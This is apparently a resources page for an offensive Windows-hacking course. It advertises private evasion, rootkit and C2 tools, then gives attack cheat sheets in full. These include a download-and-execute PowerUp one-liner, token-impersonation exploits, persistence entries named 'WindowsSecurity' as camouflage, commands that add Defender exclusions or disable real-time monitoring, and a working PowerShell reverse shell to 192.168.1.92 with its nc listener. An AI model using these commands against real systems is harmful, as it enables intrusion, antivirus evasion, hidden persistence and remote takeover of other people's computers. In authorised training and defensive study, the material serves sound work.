RESOURCES // FULL COURSE ACCESS

22 MODULES — ZERO TO OPERATOR

SUPPLEMENTARY MATERIAL — FROM THE FIELD

• WHAT_I_HAVE.md
  Verified capabilities — what I can do now. Complete technique matrix with evidence.
• WHAT_I_NEED.md
  Knowledge gaps — 8-week study schedule with priorities. "Eventually all comes to networking."
• QUICK_CHEAT_SHEET.md
  Windows recon one-liners for live engagement. "You should have your notes organized with commands."
• DEFENDER_MANAGEMENT.md
  Defender exclusions, disabling, destructive removal, cleanup. Full AV evasion arsenal.
• SYSTEM_SETTINGS.md
  PowerShell execution policies, Explorer settings, Defender checks. System configuration for operations.
• PRIVESC_LADDER.md
  User → Admin → System kill chain with persistence at each level. "Save every rung."
• KILL_CHAIN_LAB_EVIDENCE.md
  Live lab test results from WUPC .42 — SSH, privileges, service hijacking, persistence verification.
• SERVITOR_ASSESSMENT.md
  Chain reality — why published exploits die, 0day path, honest tool status. "One link is a rope. A chain is a noose."

WORKING TOOLS — TESTED ON LIVE AV

• winrecon (PUBLIC)
  Windows recon framework — WMI enumeration, AD discovery, privilege audit, CWE scanner.
• vader-rootkit (PRIVATE)
  HWBP AMSI+ETW bypass. 26 clean binaries. MSRC VULN-195458.
• iron-sun (PRIVATE)
  8-layer Windows evasion stack. TCP reverse shell. 0 detections on Kaspersky Premium.
• ghost-encoder (PRIVATE)
  Zero-width Unicode steganography. Hide payloads in plain text. 0 AV detections.
• cheyanne (PRIVATE)
  C2 framework — C beacon, Python listener, Discord bridge, AES-256 encryption.

CHEAT SHEETS & ONE-LINERS

RECON — KNOW THE TARGET

# Who am I and what can I do?
whoami
whoami /groups
whoami /priv

# What's this machine?
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
hostname

# What's running?
tasklist /svc
netstat -ano

# What's the network?
ipconfig /all
route print

# What services exist?
sc query | findstr SERVICE_NAME
sc qc   # Check service config, look for weak permissions

PRIVESC — CLIMB THE LADDER

# Automated enumeration (run these first)
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1'); Invoke-AllChecks"

# Check for weak services
sc qc 
accesschk.exe -uwcqv "Authenticated Users" *

# Exploit SeImpersonatePrivilege
PrintSpoofer.exe -i -c cmd
RoguePotato.exe -r 127.0.0.1 -e "cmd.exe" -l 9999

PERSISTENCE — SAVE EVERY RUNG

# User-level: Registry Run key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsSecurity /t REG_SZ /d "C:\path\payload.exe" /f

# Admin-level: Scheduled task
schtasks /create /tn "WindowsSecurity" /tr "C:\path\payload.exe" /sc onlogon /ru SYSTEM

# System-level: Service
sc create WindowsSecurity binPath= "C:\path\payload.exe" start= auto

# The mentor's favorite: SSH server (legitimate, hard to detect)
Add-WindowsCapability -Online -Name OpenSSH.Server
Start-Service sshd
Set-Service -Name sshd -StartupType Automatic

DEFENDER — BYPASS OR DISABLE

# Silent: Add exclusion (works with Tamper Protection ON)
Add-MpPreference -ExclusionPath "C:\path\to\your\folder"

# Moderate: Disable real-time monitoring
Set-MpPreference -DisableRealtimeMonitoring $true

# Nuclear: Uninstall Defender (requires reboot, very noisy)
# DON'T do this unless you have no other choice

C2 — REVERSE SHELL

# Start listener (attacker machine)
nc -lvnp 4444

# Connect back (victim machine)
powershell -c "$c=New-Object Net.Sockets.TCPClient('192.168.1.92',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$o=(iex $d 2>&1|Out-String);$o2=$o+'PS '+(pwd).Path+'> ';$e=([Text.Encoding]::ASCII).GetBytes($o2);$s.Write($e,0,$e.Length)}"

# The mentor: "Reverse shell is the basic for everything."

• Defensive Recon Cheat Sheet
  Blue team field manual with live evidence. Network, process, persistence, AV, and file system hunting commands.
• Windows Recon One-Liners
  Situational awareness commands: whoami, systeminfo, netstat, tasklist, service enumeration.
• Defender Management
  Exclusions, disabling, destructive removal, cleanup. The full spectrum from the mentor.
• System Settings
  PowerShell policies, Explorer settings, Defender checks. Configuration for operations.
• Privilege Escalation Ladder
  User → Admin → System. Persistence matrix. PowerUp, WinPEAS, LinPEAS.